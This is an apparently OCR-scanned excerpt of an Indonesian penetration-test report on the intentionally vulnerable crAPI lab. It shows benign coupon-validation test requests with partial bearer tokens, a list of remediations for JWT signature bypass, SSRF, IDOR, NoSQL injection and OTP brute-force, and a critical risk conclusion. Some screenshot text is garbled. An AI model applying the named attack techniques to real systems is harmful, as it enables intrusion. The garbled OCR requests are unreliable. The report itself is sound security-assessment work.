Affected feature / URL http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)
Testing approach Grey-box
Result PASS — Terapkan pemaksaan tipe string dan tolak operator/objek (lihat temuan FAIL
terkait).
DESCRIPTION

Validasi kupon diuji dengan input string biasa (kode valid dan kode tak dikenal), tanpa operator NoSQL.
Kode valid diterima dan kode tak dikenal ditolak sebagaimana mestinya.

EVIDENCE

URL Terdampak: http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon
Validation)

a. Tim mengirim kode kupon string valid (TRACO75); server membalas HTTP 200 (normal flow).

[ ) Burp Suite — Repeater

NORMAL: kode valid diterima Send > http://127.0.0.1:8888

Request Response -

POST /community/api/v2/coupon/validate-coupon HTTP/1.1 HTTP/1.1 200 0K
Host: 127.0.0. Server: openresty/1.27.1.2
JhbGci0iJSUZzIINiJ9.eyJzdWIi0iImYXFpaEBnbWFpbC5jb20il CIpYXQ Content-Type: application/json
6MTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVELYKhnGZYsQoV8qLrvM Content-Length: 79
X yP_8xBeCNs40s0BwWNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G {
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI- *'coupon_ "1 "TRACO75",
R-eds9QfnoeCUUk4BPBcND7BbgTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "amount": "
"CreatedAt": "2026-09-28T14:27:38.729Z"
{"coupon_code" :"TRAC0O75" } }

» NORMAL FLOW: kode kupon string valid (TRACO075) -> 200.

Figure 48 - Coupon Validation with Normal String Input (API8) - http://127.0.0.1:8888/community/api/v2/coupon/
validate-coupon (Coupon Validation) (Grey-box) - Normal flow: kode kupon valid diterima

b. Tim mengirim kode string tak dikenal (INVALID_RANDOM_XYZ) yang ditolak, mengonfirmasi validasi
input normal berjalan.
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[ ) Burp Suite — Repeater

UJI: string tak dikenal ditolak (PASS)

Request

yang

- crAPI (Lab)

POST /community/api/v2/coupon/validate-coupon HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmY...(token attacker faqih@)

{{" coupon_code 'NVALID_RANDOM_}

Xyz"J}

Response

HTTP/1.1 500 Internal Server Error
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 3

{

» KONTROL BERJALAN (PASS): input string biasa yang tak dikenal ditolak. (Kelemahan hanya muncul saat OPERATOR NoSQL disuntik - lihat [FAIL].)

CONFIDENTIAL

http://127.0.0.1:8888

Figure 49 - Coupon Validation with Normal String Input (API8) - http://127.0.0.1:8888/community/api/v2/coupon/
validate-coupon (Coupon Validation) (Grey-box) - Kontrol: kode string tak dikenal ditolak
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4 Summary of Recommendations

Berdasarkan pemeriksaan tim, ditemukan beberapa kerentanan pada aplikasi crAPl yang dapat
dieksploitasi untuk membocorkan data sensitif dan mengambil alih akun pengguna. Kami
merekomendasikan tindakan berikut, diurutkan berdasarkan tingkat keparahan.

Broken Authentication (API2) - JWT Signature Not Verified — Authentication Critical
Bypass

1. Verifikasi tanda tangan JWT dengan kunci publik RS256 milik server pada setiap request.
2. Tolak eksplisit algoritma alg:none dan terapkan allow-list algoritma (hanya RS256).
3. Gunakan pustaka JWT matang dengan verifikasi wajib serta validasi klaim exp, iss, dan aud.

Server Side Request Forgery (API7) - Server-Side Request Forgery (SSRF) via Critical
Contact Mechanic — Internal MailHog — Account Takeover

1. Jangan terima URL sembarang dari klien; gunakan allow-list endpoint mekanik sah.

2. Blokir skema & rentang IP internal (loopback, RFC1918) serta hostname service internal (mis.
mailhog, crapi-identity).

3.Jangan pantulkan respons upstream mentah ke klien.

4. Segmentasi jaringan layanan internal (MailHog, actuator) agar tak terjangkau service penerima URL.

Broken Function Level Authorization (API5) - Unauthenticated Access to Order
Details

1. Wajibkan autentikasi pada endpoint order dan verifikasi bahwa order milik pemanggil.
2. Ganti order ID sekuensial dengan UUID yang tak dapat ditebak.
3. Terapkan otorisasi terpusat pada seluruh endpoint workshop.

Broken Authentication (API2) - Bypassable Brute-Force Protection on Password
Reset OTP

1. Terapkan lockout persisten per akun yang tidak ter-reset oleh permintaan OTP baru.

2. Rate-limit dan tambahkan CAPTCHA/anti-automasi pada endpoint forget-password.

3. Gunakan OTP minimal 6 digit dengan masa berlaku singkat dan invalidasi setelah kegagalan
kumulatif.

Security Misconfiguration (API8) - NoSQL Injection on Coupon Validation

1. Paksa coupon_code menjadi tipe string sebelum query; tolak objek dan operator.
2. Gunakan query yang di-parameter/sanitasi dan aktifkan validasi skema input.
3. Terapkan pengerasan input yang sama pada query berbasis MongoDB lainnya.

Broken Function Level Authorization (API5) - Broken Function Level Medium
Authorization — Management Endpoint Exposes All Users

1. Terapkan otorisasi berbasis peran (verifikasi role=admin di server) pada semua endpoint
manajemen/administratif.

2.Jangan mengandalkan ketiadaan tautan Ul sebagai kontrol akses.

3. Minimalkan data yang dikembalikan.
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Broken Object Level Authorization (API1) - Broken Object Level Authorization Medium
(IDOR) on Mechanic Reports

1. Verifikasi report_id yang diminta terkait dengan user/mekanik pemanggil.
2. Gunakan UUID alih-alih identifier sekuensial.
3. Kembalikan hanya field yang benar-benar diperlukan.

Broken Object Level Authorization (API1) - Broken Object Level Authorization Medium
(IDOR) on Vehicle Location

1. Verifikasi bahwa kendaraan yang diminta milik user pada token sebelum mengembalikan lokasinya.
2. Terapkan pemeriksaan otorisasi tingkat objek secara terpusat.
3. Hindari menampilkan PIl pemilik pada respons lokasi.

Unrestricted Resource Consumption (API4) - Unrestricted Resource Medium
Consumption — No Login Rate Limiting

1. Terapkan rate limiting per akun/IP dan lockout progresif.
2. Tambahkan CAPTCHA/anti-automasi dan deteksi anomali.
3. Batasi konkurensi permintaan per klien.

Unsafe Consumption of APIs (API10) - Unsafe Consumption of APIs — Medium
Unvalidated Upstream Response in Contact Mechanic

1. Validasi & sanitasi respons upstream (skema, content-type) sebelum diproses/dipantulkan.
2. Batasi tujuan upstream ke allow-list tepercaya (lihat juga temuan SSRF).
3.Jangan pantulkan respons upstream mentah ke klien.

Improper Inventory Management (API9) - Improper Inventory Management — Medium
Deprecated OTP Endpoint (v2) Still Live

1. Nonaktifkan versi APl usang (v2) yang tak lagi dipakai.
2. Kelola inventaris versi APl dan dokumentasikan endpoint aktif.
3. Terapkan kontrol keamanan seragam di semua versi yang hidup.
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5 Conclusion

OVERALL RISK RATING

Critical

Berdasarkan penilaian tim, aplikasi crAPI dinilai tidak aman: broken authentication (tanda
tangan JWT tidak diverifikasi) memungkinkan pengambilalihan akun penuh, dan sejumlah
masalah kontrol akses, SSRF, injeksi, konsumsi sumber daya, inventaris, serta unsafe
consumption membocorkan data pelanggan. Perbaikan atas temuan yang berhasil
dieksploitasi wajib dilakukan sebelum penggunaan produksi.
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6 Attachments

Attachment Description
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